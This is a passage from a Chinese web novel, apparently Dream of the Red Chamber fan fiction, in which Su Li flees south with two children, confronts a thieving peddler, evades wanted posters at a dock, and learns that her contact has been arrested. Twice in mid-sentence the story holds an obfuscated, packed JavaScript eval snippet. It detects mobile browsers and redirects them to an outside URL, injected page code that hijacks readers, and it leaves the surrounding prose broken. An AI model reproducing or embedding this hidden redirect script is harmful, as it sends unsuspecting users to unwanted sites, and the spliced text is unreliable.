底层货舱堆满了南方的瓷器、北方的皮货、各色杂粮土产，散发着一股混杂的、并不好闻的气味。上层客舱用木板隔成几个逼仄的通铺，挤满了南来北往的客商、探亲的百姓、以及像苏璃他们这样一看就是逃难的人群。汗味、脚臭、劣质烟草味，还有孩童的哭闹、大人的咳嗽、船工粗鲁的吆喝，交织在一起，构成了这艘南下船只上独特的、令人窒息的氛围。 苏璃用身上仅剩不多的散碎银子，勉强在靠近舱口、通风稍好的角落占据了一小块铺位。这里离嘈杂的舱内中心远些，也方便观察舱外动静，更重要的是，若有变故，更容易脱身。她用一块半旧的蓝布帘子勉强与邻铺隔开，形成一个相对独立的小小空间。 巧姐儿连日惊吓奔波，又染了风寒，此刻正发着低烧，昏昏沉沉地躺在铺位上，小脸通红，嘴唇干裂。苏璃心疼不已，只能不断用湿布巾给她擦拭额头降温，将最后一点冯妈给的干硬饼子掰碎了，就着讨来的热水，一点一点喂她。板儿懂事地守在旁边，警惕地看着来来往往的乘客，小手始终放在那个装着全部家当的小包袱上。 他们的落魄和警惕，在船上并不算显眼。乱世之中，谁家没有一本难念的经？同船的多是自顾不暇，顶多投来几缕或同情或麻木的目光。 然而，并非所有人都如此。邻铺住着一个自称姓吴、跑单帮的货郎，三十许年纪，长得獐头鼠目，一双眼睛尤其活泛，总是不安分地四处打量。自打苏璃三人上船，他便似乎格外留意他们，尤其是对苏璃，眼神时常在她清秀却难掩憔悴的脸上逡巡，带着几分探究和说不清道不明的意味。 起初，他只是隔帘搭话：“大妹子，这是带着孩子回娘家？路上可不太平啊！” 苏璃低头不语，只作羞涩害怕状，将巧姐儿搂得更紧。 那吴货郎碰了个软钉子，却不气馁，反而凑得更近些，隔着帘子压低了声音：“瞧你们娘仨怪可怜的，是遇了事吧？这年头，一个妇道人家带两个孩子，难啊！要不要帮忙？我在南边有些门路……” 苏璃心中警铃大作，面上却依旧只是摇头，声音细弱蚊蚋：“多谢大哥好意，我们……我们能行。” 吴货郎见她油盐不进，眼中闪过一丝不易察觉的阴察觉的阴鸷，悻悻退开，但那种被窥视的感觉，却始终如影随形。 船行两日，进入一段较为平缓的河道。天气转暖，江风带着湿润的水汽，吹散了舱内部分浊气。巧姐儿的烧终于退了下去，人也清醒了些，虽然依旧怯生生的，但总算能喝下些薄粥了。苏璃稍微松了口气，却不敢有丝毫懈怠。 这日午后，船上无事，几个无聊的乘客聚在舱口处闲聊，议论着沿途见闻和时局。吴货郎也在其中，唾沫横飞地讲着他“道听途说”来的京中秘闻。 “……要说这京城最近最大的事儿，还得是那宁荣二府的案子！”吴货郎故意提高了声调，眼睛却瞟向苏璃这边，“啧啧，百年国公府啊，说倒就倒了！男丁流放，女眷没官……听说啊，那管家的二奶奶，叫什么王熙凤的，手段厉害得很，私底下放印子钱、包揽词讼，贪了海了去了！临了还卷了一大笔银子想跑，结果……嘿！” 舱内顿时安静下来，众人都竖起了耳朵。这等高门大户的秘辛，最是勾动寻常百姓的好奇心。 苏璃背脊一僵，正在给巧姐儿喂水的手微微一顿，随即又恢复如常，只是垂下的眼睫遮住了眸中的寒光。板儿也紧张地抓住了苏璃的衣角。 只听吴货郎继续绘声绘色地说道：“……结果天网恢恢啊！抄家抄了个底朝天！据说那二奶奶身边一个叫……叫什么柳絮的贴身大丫鬟，卷走了最要紧的账本和好多金银细软，跑了！如今官府正悬赏捉拿呢！赏银这个数！”他伸出五根手指比划了一下，引得众人一阵惊呼。 “乖乖！一个丫鬟，值这么多钱？” “那是！听说那账本牵扯到好些大人物呢！谁不急着找？” 吴货郎得意地晃着脑袋，目光似有意似无意地扫过苏璃这边：“所以说啊，这世道，知人知面不知心！看着清清秀秀的姑娘家，指不定就是江洋大盗呢！那画像我好像在通衢告示上瞥见过一眼，啧啧，画得还挺俊……” 苏璃的心沉到了谷底。这吴货郎绝非无意闲聊！他是在试探！是在观察她的反应！他是忠顺王府的暗桩？还是顺天府的眼线？亦或是见钱眼开、嗅到腥味的江湖混混？ 她强压住心头的惊涛骇浪，脸上依旧是一派木然和疲惫，仿佛对这些“贵人”的八卦毫无兴趣，只低头专心照料巧姐儿，甚至还轻轻拍着孩子，哼起了不成调的小曲，一派寻常逃难妇人的模样。 板儿也学着苏璃的样子，低着头，摆弄着包袱角，只是小拳头攥得紧紧的。 吴货郎见苏璃毫无反应，眼中闪过一丝疑惑，难道真是自己多心了？这妇人虽然容貌不俗，但确实是一副受尽磨难的憔悴样，身边两个孩子也病恹恹的，不太像能卷走巨款、还被悬赏通缉的要犯。 他正犹疑间，船身忽然猛地一晃，像是撞到了什么，舱内顿时惊呼一片，东西倾倒。巧姐儿吓得“哇”一声哭了出来，苏璃连忙将她抱紧安抚。 “怎么回事？！”有人喊道。 船工骂骂咧咧的声音传来：“触礁了！他娘的，这段水路暗礁多！没事，撞得不重，大家坐稳了！” 一番混乱，众人惊魂甫定。吴货郎也被晃得东倒西歪，暂时没了继续试探的心思。 趁着这阵混乱，苏璃悄悄对板儿耳语：“这个姓吴的不是好人。我们要更小心。今晚别睡太死。” 板儿用力点头，小脸绷得紧紧的。 入夜，江上起了风浪，船身摇晃得厉害。大部分乘客都已疲惫睡去，鼾声四起。苏璃却不敢合眼，她让板儿抱着熟睡的巧姐儿靠里侧躺着，自己则侧身挡在外面，手悄悄握住了藏在袖中的、那把在之前藏身处找到的、磨得锋利的柴刀。 黑暗中，感官变得异常敏锐。她能听到江水拍打船舷的声音，听到邻铺吴货郎粗重的呼吸和偶尔翻身的声音，还能听到舱底货舱隐约传来的、老鼠啃咬东西的窸窣声。 约莫到了后半夜，风浪稍歇，舱内愈发寂静。就在苏璃也有些困意上涌时，她忽然听到一阵极其轻微的、衣料摩擦的声音，从帘子外传来。 有人！ 她立刻屏住呼吸，全身肌肉绷紧，握着柴刀的手渗出冷汗。 那声音停在帘外，似乎在倾听里面的动静。良久，一只粗糙的手，悄悄掀开了布帘的一角！ 借着舱口透进的微弱月光，苏璃看到了一张獐头鼠目的脸，正是吴货郎！他眼中闪烁着贪婪和凶光，正死死盯着她放在枕边的小包袱！ 他是来偷东西的？还是……发现了什么？ 苏璃的心脏几乎要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17095781|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跳出胸腔。她装作熟睡未醒，呼吸均匀，只是握着柴刀的手，又紧了紧。 吴货郎见里面三人似乎都睡熟了，胆子更大，竟然将整个头都探了进来，伸手就要去够那个包袱！ 就在他的手即将碰到包袱的刹那，苏璃猛地睁开眼，手中的柴刀如同毒蛇出洞，闪电般横在了吴货郎的颈前！刀刃冰冷锋利，紧贴着他的皮肤！ “别动！”苏璃的声音压得极低，却带着一股冰冷的杀意，“敢喊一声，我就割断你的喉咙！” 吴货郎吓得魂飞魄散，他怎么也没想到这个看起来柔弱可欺的妇人，出手竟如此狠辣果决！他感觉到颈间传来的刺痛和冰凉，顿时一动不敢动，脸上血色尽褪，眼中充满了惊骇。 “好……好汉饶命！饶命！”他哆哆嗦嗦地求饶，“我……我就是看你们孤儿寡母，想……想借点盘缠……绝无歹意啊！” “借？”苏璃冷笑，刀锋又贴近了一分，“深更半夜，鬼鬼祟祟，这叫借？说！你到底是什么人？为何白天在舱口说那些话？” “我……我就是个跑单帮的货郎啊！那些话……都是道听途说，随便聊聊……”吴货郎眼神闪烁。 “不说实话？”苏璃手腕微动，刀刃已经划破了他颈间皮肤，一丝血线渗了出来。 “我说！我说！”吴货郎吓得魂飞魄散，再也不敢隐瞒，“我……我是在北边码头上，无意中听两个官差模样的人喝酒时说的，说是有个姓柳的丫鬟带着贾府的秘密跑了，画影图形都下来了，赏银丰厚……我……我就是看大妹子你……你长得有几分像那画像，又带着两个孩子行踪可疑，就……就起了贪心，想……想确认一下，捞点好处……我真的只是想想，还没动手啊！女侠饶命！” 原来如此！果然是见钱眼开的无赖，并非专业的探子。苏璃心中稍定，但警惕未减。这种人，为了钱什么都干得出来。 “听着，”苏璃压低声音，一字一句道，“我不是你要找的人。我们只是普通的逃难百姓。你若敢把今晚的事说出去半个字，或者再敢打我们的主意，我保证，在你拿到赏银之前，就会变成这江里的一具浮尸！听明白了？” “明白！明白！再也不敢了！女侠饶命！”吴货郎连连点头，冷汗涔涔。 苏璃缓缓收回柴刀，但仍横在身前。“滚！管好你的嘴！” 吴货郎如蒙大赦，连滚爬爬地缩回了自己的铺位，用被子蒙住头，再也不敢向这边看一眼。 苏璃这才松了口气，背心已被冷汗湿透。她轻轻拍了拍被惊醒、正惊恐看着她的板儿，示意没事。刚才那一下，她用尽了全部勇气和力气，此刻只觉手脚发软。 这一夜，再无变故。吴货郎果然被吓破了胆，次日天不亮便寻了个借口，在下一个停靠的小码头仓皇下船了。 风波暂时平息，但苏璃知道，这仅仅是开始。吴货郎虽被打发，但通缉画像和赏银的消息已经传开，南下的路上，不知还有多少双眼睛在暗中搜寻。她们必须更加低调，更加谨慎。 客船继续南下，离京城越来越远，离未知的江南越来越近。苏璃看着怀中依旧虚弱的巧姐儿，和身边日渐沉稳的板儿，心中充满了对前路的忧虑，却也生出一股不屈的韧劲。 无论如何，她必须带着她们走下去。 江南，那个在王熙凤遗言和账本中都反复出现的地方，那个或许藏着生机也藏着更多秘密的地方，就在前方。 68. 码头惊魂 客船在蜿蜒的河道上又行驶了数日，两岸景致逐渐由荒芜转为繁茂。天气愈发暖和，湿热的南风带着泥土和草木的气息扑面而来，与北方的干冷截然不同。巧姐儿的身子一日好似一日，已能下地走动，只是依旧怯生生的，紧紧依偎着苏璃。板儿也渐渐褪去了惊恐，变得沉稳许多，时常帮着苏璃做些力所能及的小事。 那日船上风波后，同船的乘客对苏璃这“孤儿寡母”多了几分不易察觉的疏离和敬畏。吴货郎仓皇下船的情景犹在眼前，谁都知道这个看似柔弱的妇人并非表面那般简单。苏璃乐得清静，每日里除了照料巧姐儿，便是透过舷窗，默默观察着沿岸的风土人情，在心中勾勒着即将抵达的江南。 她注意到，越往南，河道上的船只越发稠密。有载货的漕船，有载客的航船，还有小巧灵活的乌篷船穿梭其间。岸边的市镇也明显繁华起来，商铺林立，人烟稠密，隐约可闻叫卖声、吆喝声顺着水波传来。一种与京城截然不同的、充满活力的商业气息，扑面而来。 这日午后，船工高声吆喝：“前面就到‘临河口’码头了！要下船的客官准备喽！” 船舱里一阵骚动。临河口是南下航路的一个重要枢纽，连接着运河与通往苏杭地区的多条水道，商贾云集，热闹非凡。许多乘客都在此转船或上岸。 苏璃的心也提了起来。根据“张快嘴”零碎的信息和她的判断，这里将是她们南下途中的一个关键节点。能否顺利上岸，并找到暂时的安身之所，至关重要。 客船缓缓靠向码头。还未停稳，码头上喧嚣的声浪便涌了过来。脚夫、小贩、旅人、迎客的伙计……各色人等挤满了不算宽敞的码头，人声鼎沸，汗味、鱼腥味、食物香气混杂在一起，形成一股浓烈的生活气息。 苏璃一手紧抱着巧姐儿，一手牢牢牵着板儿，随着人流小心翼翼地踏上跳板。脚下是坚实的土地，她却有种眩晕感。连日的水上漂泊，让她对陆地感到一丝陌生。 她警惕地环顾四周。码头上人来人往，龙蛇混杂。她一眼就瞥见，在码头入口处的告示栏前，围着不少人，指指点点。心中猛地一紧，一种不祥的预感袭来。 她不动声色，带着孩子挪到一个人少的货堆后面，低声对板儿说：“板儿，你眼神好，悄悄过去看看，那告示栏上贴的什么？别靠太近，看一眼就回来。” 板儿懂事地点点头，像条小鱼般滑入人群。 苏璃的心悬到了嗓子眼，搂着巧姐儿的手臂不自觉地收紧。她最担心的事情还是发生了。通缉海捕文书，果然已经传到了这南下的要冲之地！ 不过片刻，板儿就脸色发白地跑了回来，声音带着颤：“柳……柳姨，是……是画影图形！上面……上面画着个人，有点像……有点像你！还有赏银……好多银子！”他虽不识字，但图画和银锭的图形还是认得的。 苏璃深吸一口气，强迫自己冷静。果然如此！忠顺王府和顺天府的手脚真快！看来，这南下的路，步步都是陷阱。 “别慌，”她压低声音，安抚板儿，也像是在安抚自己，“码头上人多眼杂，我们小心些，先离开这里再说。” 她迅速观察地形。码头只有一个主要出口，告示栏就立在那里，想要上岸，很难完全避开。硬闯是下策，只能智取。 她注意到，有一艘刚卸完货的空漕船，正在组织人手搬运一些新的货物上船，准备继续航行。一些脚夫扛着大包，正喊着号子，形成一道移动的人墙。而旁边，恰好有几个拖家带口的难民模样的行人，也正畏畏缩缩地想要上岸。 机会！ 苏璃当机立断。她迅速从包袱里掏出两块半旧的深色头巾，一块严严实实包住自己的头和半张脸，只露出一双眼睛，另一块将巧姐儿也裹了起来，抱在怀里，让她的脸埋在自己肩头。又抓了把尘土，在板儿和自己露出的衣服上胡乱抹了抹，让三人看起来更加落魄狼狈，难以辨认。 “板儿，紧跟着我，低下头，混在那群人后面，趁那些脚夫挡住告示栏视线的时候，我们快速走过去！无论听到什么，看到什么，都不要抬头，不要停步！”苏璃急促地吩咐，语气不容置疑。 板儿用力点头，小脸绷得紧紧的，紧紧抓住了苏璃的衣角。 时机稍纵即逝。苏璃看准那队扛包的脚夫正好走到告示栏前方，几乎完全挡住了栏板的那一刻，低喝一声：“走！” 她弓着身，抱着巧姐儿，混在那几个难民身后，板儿紧随其后，三人如同惊弓之鸟，又像是寻常逃难的一家，脚步匆匆地向着码头出口走去。 心脏在胸腔里狂跳，仿佛要挣脱出来。苏璃能感觉到无数道目光从身上扫过，有好奇，有怜悯，有漠然。她死死低着头，目光只盯着前方几步远的地面，用眼角的余光警惕着周围的动静。 一步，两步，三步……离出口越来越近。已经能听到把守码头入口的税吏懒洋洋的盘问声。 就在她以为即将穿过最危险区域时，身旁忽然传来一个略显尖锐的声音：“哎，你们几个，站住！” 苏璃浑身一僵，血液几乎凝固。是税吏？还是……发现了什么的官差？ 她不敢停步，也不敢跑，那样只会更引人注目。她只能硬着头皮，假装没听见，继续往前走，同时将巧姐儿搂得更紧。 “说你们呢！带孩子的！停一下！”那声音提高了八度，带着不耐烦，脚步声从后面追了上来。 完了！苏璃脑中瞬间闪过无数个念头，是拼死一搏，还是…… 就在这千钧一发之际，旁边那艘漕船上，一个看似工头模样的大汉忽然骂骂咧咧地吼道：“王老五！你他娘的磨蹭什么呢！还不快把货扛过来！耽误了开船，扣你工钱！” 这一声吼，顿时吸引了那税吏的注意力。他扭头朝船上骂道：“催命啊！老子盘查可疑人犯呢！” 那工头却不买账，跳下船来，一把拉住税吏，塞过去一小串铜钱，陪着笑脸：“李爷，李爷息怒！都是些苦哈哈的逃难的，有什么好查的？您行行好，我这船赶着潮水呢，帮帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100212|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙，赶紧让咱们的人过去卸货装货！” 那税吏捏了捏手里的铜钱，脸色稍霁，哼了一声，也没再理会苏璃她们，转而走向那工头，嘴里嘟囔着：“就你事多……” 趁这短暂的混乱，苏璃几乎是小跑着，带着板儿冲出了码头入口，混入了码头外更拥挤、更杂乱的人流中。 直到拐进一条相对僻静的小巷，靠在冰冷的墙壁上，苏璃才敢大口喘气，后背已被冷汗彻底浸湿。怀里的巧姐儿似乎感受到她的恐惧，小声啜泣起来。板儿也靠着墙，小脸煞白，腿肚子直发抖。 “没事了……没事了……”苏璃轻声安抚着孩子，也安抚着自己。刚才那一刻，与在船上面对吴货郎时完全不同。那是面对个人的贪婪，而刚才，是直面国家机器的罗网！那种无形的压迫感，几乎令人窒息。 她探出头，小心地望了一眼码头方向。告示栏前依旧围着人，税吏和工头还在争执什么。她们暂时安全了。 但危机远未解除。这临河口码头鱼龙混杂，官府的耳目定然不少。那海捕文书像一张无形的网，笼罩在她们头顶。必须尽快离开这个是非之地，找到一个相对安全的落脚点。 根据“张快嘴”模糊的指示和之前零碎听来的信息，王熙凤暗中布置的接应点，似乎不在临河口镇内，而是在镇外约十里处，一个叫“白滩渡”的小地方，联系人也并非什么显眼的人物，据说是个经营杂货铺的远房表亲，姓李。 十里路，对于疲惫不堪的妇孺来说，不算近。但留在镇上，风险更大。 苏璃不敢耽搁，在巷口找了个看着面善的老婆婆，用仅剩的几枚铜钱买了三个粗粮饼子，又小心翼翼地问明了去“白滩渡”的大致方向。 “顺着镇外那条土路一直往南，看到一片白色的河滩，再往前走一里地，有个小集市，就是白滩渡了。路倒是不难走，就是荒凉些，你们娘仨……小心点。”老婆婆好心提醒。 谢过老婆婆，苏璃带着孩子，啃着干硬的饼子，踏上了通往白滩渡的土路。 路确实荒凉，两旁是杂草丛生的田野和零星的坟茔，偶尔有赶着牛车的农人经过，投来好奇的目光。夕阳将三人的影子拉得长长的，更添几分凄凉。 苏璃心中忐忑。王熙凤的这步暗棋，是否可靠？那个姓李的表亲，是否还认这门远亲？万一……万一找不到人，或者对方早已变卦，她们又将何去何从？身上仅剩的银钱，已支撑不了几日。 然而，开弓没有回头箭。既然选择了这条路，就只能硬着头皮走下去。 天色渐渐暗了下来。远处，隐约可见一片泛着白光的河滩，在暮色中格外显眼。白滩渡，就要到了。 希望就在前方，但希望之中，也藏着未知的变数。 苏璃深吸一口带着河水腥甜的空气，握紧了巧姐儿的手，对板儿说：“快到了，再坚持一下。” 暮色四合，荒野寂寥，只有脚步声沙沙作响。三个渺小的身影，向着那片未知的白色河滩，艰难而又坚定地走去。 69. 白滩渡见闻 暮色如一张灰网，悄然笼罩下来。土路的尽头，那片在夕阳余晖中泛着惨淡白光的河滩愈发清晰。河滩旁，依稀可见几十间高矮不一的屋舍聚拢在一起，形成一个小小的集市轮廓，想来便是那“白滩渡”了。 走得近了，才看清这所谓的“渡口”实在简陋。一条不算宽阔的河道在此拐了个弯，形成一片浅滩，水势平缓。岸边歪歪斜斜地搭着几座木栈桥，系着几条破旧的乌篷船和小舢板，在昏暗的光线下随着水波轻轻晃动。岸上是一片由泥土和碎石夯实的平地，算是码头。几间客栈、货栈、杂货铺子簇拥在码头周围，再远处，便是些低矮的民房，零星亮起几点昏黄的灯火。 空气中弥漫着河水特有的腥气，混杂着鱼虾、潮湿的木头以及炊烟的味道，与临河口镇的繁华喧嚣截然不同，透着一股子荒凉而又真实的市井气息。 苏璃一手紧抱着因疲惫和恐惧而昏昏欲睡的巧姐儿，一手牢牢牵着同样步履蹒跚的板儿，踏上了白滩渡的土地。三人的身影在暮色中显得格外渺小、孤零。 码头上还有零星几个晚归的渔夫和脚夫，正收拾着家伙什，看到这三个面生的、风尘仆仆的妇孺，投来好奇而审视的目光。苏璃立刻低下头，用头巾更严实地遮住脸，加快脚步，混入通往集市的小路。 根据王熙凤遗言中模糊的指示和“张快嘴”零碎的信息，接应点是一家姓李的远房表亲开的杂货铺。在这不大的集市上，找到一家杂货铺并不难。 她们沿着唯一一条还算像样的土路往前走，两旁是低矮的铺面，多是卖些油盐酱醋、针头线脑的日常用物，也有两家小饭馆，门口挂着昏暗的灯笼，传出嘈杂的人声和劣质酒菜的气味。苏璃目光锐利地扫过每一块招牌。 很快，她看到了目标。在集市靠近尽头的一处拐角，有间铺子，门脸不大，挑着一面半旧的布幌子，上面用墨笔写着“李记杂货”四个歪歪扭扭的大字。铺板门半开着，透出里面油灯微弱的光。 就是这里了。苏璃的心跳不由自主地加快。这看似普通的杂货铺，是希望，也可能……是陷阱。她停下脚步，没有立刻进去，而是借着暮色的掩护，仔细观察着四周。 铺子对面有个卖馄饨的挑子，一个老汉正低头煮着馄饨，热气蒸腾。旁边有个蹲在地上抽旱烟的老头，眼神浑浊。一切看似平常，但苏璃不敢有丝毫大意。临河口码头的惊魂一幕犹在眼前。 “板儿，”她压低声音，对身边紧张得嘴唇发白的板儿说，“你带着巧姐儿，到那边屋檐下的暗影里等我。我先进去看看。若是一炷香的功夫我还没出来，或者里面有不对劲的动静，你什么都别管，立刻带着巧姐儿往河边芦苇荡里跑，躲起来，等到天亮再想办法，明白吗？”她的语气带着不容置疑的决绝。 板儿用力点头，小脸绷得紧紧的，眼中虽有恐惧，却也有一种超越年龄的坚毅：“我明白，柳姨，你……你小心。” 苏璃将怀中睡着的巧姐儿小心交给板儿，又摸了摸怀里那把贴身藏着的、从吴货郎那里得来的匕首，深吸一口气，整理了一下头巾和衣衫，让自己看起来更像一个寻常投亲的落难妇人，这才迈步走向那间杂货铺。 推开半掩的店门，门轴发出“吱呀”一声涩响。铺子里光线昏暗，弥漫着一股混合着霉味、咸鱼味和尘土的气息。货架上零零散散地摆放着些布匹、杂货、农具，都落满了灰，显得生意十分清淡。 柜台后，坐着一个约莫四十多岁、穿着半旧褐色短褂的男人，正就着油灯的光，低头打着算盘，算盘声有一下没一下，透着股懒散。听到门响，他抬起头来。 这人生得一张国字脸，皮肤黝黑，眼角带着饱经风霜的皱纹，眼神看起来有些浑浊，甚至带着几分憨厚。他看到苏璃，愣了一下，随即放下算盘，站起身，脸上堆起生意人惯有的、略带戒备的笑容：“这位娘子，要买点什么？天晚了，铺子快打烊了。” 苏璃心中迅速判断着。这李老实（她猜测此人便是王熙凤提到的表亲李老实）看起来倒不像奸恶之徒，但知人知面不知心。她上前一步，微微屈膝行了个礼，声音带着旅途的疲惫和一丝恰到好处的怯懦：“请问，是李掌柜吗？” 李老实眼中闪过一丝不易察觉的讶异，点头道：“正是鄙人。娘子是……？” 苏璃按照王熙凤交代的暗语，低声道：“掌柜的，可有三年前镇江府‘锦云堂’过来的‘雨过天青’绸缎？我家主人以前最爱用那个料子做夏衣。” 这是关键的一句。王熙凤暗中经营的商号化名“锦云堂”，而“雨过天青”是贾母曾赏过的一匹罕见绸缎的颜色，作为接头的信物暗号，极为隐秘。 李老实闻言，脸上的笑容僵了一下，眼神瞬间变得锐利起来，迅速扫了一眼门外，随即又恢复那副憨厚模样，打着哈哈道：“哎呀，娘子说笑了，我们这小地方，哪里来的‘锦云堂’那般贵重的绸缎？更别提什么‘雨过天青’了，听都没听过。小店只有些寻常土布，娘子要不要看看？” 他答非所问！ 苏璃的心猛地一沉。是暗号不对？还是……这人根本就不是接应的人？或者，他变了卦，不敢相认了？ 她强压下心中的惊涛骇浪，脸上依旧维持着惶恐和失望：“没有吗？那……那可能是我记错了。打扰掌柜了。”她说着，作势要退出去，眼角余光却死死盯住李老实的每一个细微表情和动作。 就在她转身的刹那，李老实忽然压低声音，极快地说了一句：“白滩水浅，难藏蛟龙。娘子从何处来，欲往何处去？” 这不是王熙凤交代的暗语！苏璃浑身一僵，血液几乎凝固。这是什么意思？是新的试探？还是警告？ 她停下脚步，没有回头，同样压低声音，模棱两可地回道：“风急浪高，寻一叶扁舟避祸。掌柜的若有门路，还请指点迷津。”她将问题抛了回去，既不承认，也不否认，看看对方如何接招。 李老实沉默了片刻，就在苏璃以为他要翻脸时，他却叹了口气，声音里带着一丝疲惫和无奈：“后门出去，右转第三家，门口有棵歪脖子柳树的院子。敲门三急两缓，自有人应。快走吧，我这铺子……人多眼杂。” 说完，他不再看苏璃，重新坐回柜台后，拿起算盘，又恢复了那副懒散模样，仿佛刚才的对话从未发生。 苏璃心中疑窦丛生。这李老实行为诡异，言语闪烁，既不按暗语相认，又指了另一处地方。那歪脖子柳树的院子，是真正的接应点，还是另一个陷阱？ 但此刻，她已没有更好的选择。天色已黑，带着两个孩子在这陌生之地流浪，风险更大。她只能赌一把。 “多谢掌柜。”她低声道谢，不再犹豫，迅速退出杂货铺。 板儿抱着巧姐儿，立刻从暗影中迎了上来，眼中满是询问。苏璃对他使了个眼色，低声道：“跟我来，别出声。” 她按照李老实所指，绕到杂货铺后身，果然有一条狭窄潮湿的小巷。巷子里没有灯火，漆黑一片。她数着门户，右转，第三家……找到了，一个低矮的院墙，一扇紧闭的木门，门口确实有棵长得歪歪扭扭的老柳树，枝条在夜风中如同鬼影般摇曳。 院子里静悄悄的，没有一丝光亮透出。 苏璃让板儿和巧姐儿躲在墙角的阴影里，自己走到门前。她深吸一口气，回忆着李老实的话，抬手，按照“三急两缓”的节奏，敲响了门扉。 “咚、咚、咚……” 停顿。 “咚……咚……” 敲门声在寂静的夜里显得格外清晰，甚至有些刺耳。 门内没有任何回应。死一般的寂静。 苏璃的心提到了嗓子眼，手心里全是冷汗。难道……真是陷阱？ 就在她几乎要放弃，准备带着孩子立刻逃离时，门内忽然传来极轻微的脚步声。接着，门闩被轻轻拉动的声音响起 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院子很小，只有一间正房和一间歪斜的柴房，空气中弥漫着一股草药味和……隐隐的、压抑的哭泣声？苏璃凝神细听，那哭声似乎是从正房里传来的，是个年轻女子的声音，哭得极其伤心，却又拼命压抑着。 老妇人将油灯放在院中一个石磨上，双手紧张地搓着围裙，看着苏璃三人，嘴唇哆嗦着，半晌才道：“你……你们就是……就是京城贾府来的？” 苏璃心中一震，对方竟然直接点破了她们的来历！她不敢轻易承认，反问道：“妈妈是……？” “我……我是李老实的姑母……”老妇人眼神躲闪，“他……他让我在这儿等着，说可能会有京里的贵人过来暂住……可是……可是……”她说着，眼泪就掉了下来，“你们怎么才来啊！再晚一步……再晚一步就……” “就怎么样？”苏璃追问道，心中的不祥预感越来越强烈。 老妇人还未回答，正房的门帘一掀，一个穿着粗布衣裳、眼睛哭得红肿的年轻媳妇冲了出来，看到苏璃三人，愣了一下，随即扑到老妇人身边，带着哭腔道：“娘！不能再等了！官差……官差说不定明天……明天就来了！咱们得赶紧走啊！” 官差？！苏璃如遭雷击，浑身冰凉。难道李老实已经出事？官差已经查到这里了？ “巧姐儿……板儿……快到我跟前来！”苏璃猛地将两个孩子拉到自己身后，手已按在了怀中的匕首上，目光锐利如刀，扫视着这婆媳二人，“这到底是怎么回事？李老实呢？官差为何会来？” 那年轻媳妇被苏璃陡然爆发的气势吓了一跳，止住了哭声。老妇人长叹一声，老泪纵横：“造孽啊！老实他……他前日去临河口镇上进货，不知怎的，就被官差盯上了，说是……说是盘查什么京城逃犯的同党……给抓进大牢里去了！铺子也被抄检了一遍……他……他之前偷偷嘱咐过我，说万一京里有人来，就带到这儿来……可如今他自己都自身难保，这……这可如何是好啊！” 老妇人说着，腿一软，几乎瘫坐在地。那年轻媳妇连忙扶住她，婆媳二人抱头痛哭。 苏璃站在原地，只觉得一股寒气从脚底直冲天灵盖。最坏的情况发生了！接应人李老实竟然已经被官府抓了！而且原因很可能就是与她们有关！这处院子，恐怕早已在官府的监视之下！李老实让她们来此，是无奈之举，还是……临死前的托付？亦或者，这本身就是一个诱捕的圈套？ 那婆媳二人的悲痛不似作伪，但苏璃不敢有丝毫放松。她迅速判断着形势：此地绝不能久留！必须立刻离开！ 然而，夜色已深，两个孩子疲惫不堪，又能逃到哪里去？前有官府张网，后有可能的追兵，这白滩渡，竟成了绝地？ 就在这时，院门外，忽然传来一阵杂沓的脚步声和急促的拍门声！一个粗哑的嗓子高声喝道：“里面的！开门！官差查案！” 来了！苏璃瞳孔骤缩，一把将巧姐儿和板儿紧紧搂在怀里，目光绝望地扫过这小小的院落。难道，终究是逃不过了吗？ 70. 绝处逢生 院门外官差的拍门声和厉喝如同催命符，一下下砸在苏璃的心上。院内，李老实的姑母和那年轻媳妇早已吓得面无人色，抱在一起瑟瑟发抖，巧姐儿被惊醒，在板儿怀里小声啜泣，板儿则紧紧抿着唇，小脸煞白，却强撑着护在巧姐儿身前。 绝境！真正的绝地！苏璃浑身冰凉，血液仿佛凝固。她千算万算，没算到接应人李老实已然入狱，这处看似安全的据点，早已暴露在官府的视线之下！此刻院门被堵，带着两个孩子，如何能逃？ “里面的！再不开门，我们就撞门了！”门外的呵斥声愈发不耐，伴随着刀鞘撞击门板的闷响。 那哭泣的年轻媳妇猛地抬起头，眼中之前的惶恐绝望被一种孤注一掷的决绝取代。她一把拉住苏璃的胳膊，力气大得惊人，另一只手飞快地指向柴房后那堆几乎与院墙齐高的柴草垛，声音急促得变了调：“快！藏到那后面去！柴草垛底下……有个地窖入口！是……是老实之前偷偷挖了藏东西的，入口用木板盖着，上面堆了柴草，或许能躲一时！” 绝境中的一丝微光！苏璃来不及多想这是否是另一个陷阱，此刻已无选择！她反手抓住那媳妇的手，低喝一声：“板儿，抱紧巧姐儿，跟上！” 三人如同离弦之箭，冲向柴房后的柴草垛。那年轻媳妇手脚麻利地扒开表层的干柴，露出底下的一块破旧木板。她用力掀开木板，一个仅容一人通过的、黑黢黢的洞口露了出来，一股混合着泥土和霉味的气息扑面而来。 “快下去！”媳妇催促道，眼神焦急地瞥向院门方向，那里的撞门声越来越响。 苏璃当机立断，率先滑下洞口，脚下是湿滑的土阶。她站稳后，立刻伸手：“板儿，先把巧姐儿递给我！” 板儿毫不犹豫，将啜泣的巧姐儿小心翼翼递下。苏璃接住，紧紧搂在怀里。板儿也跟着敏捷地滑了下来。洞口狭窄低矮，里面一片漆黑，伸手不见五指。 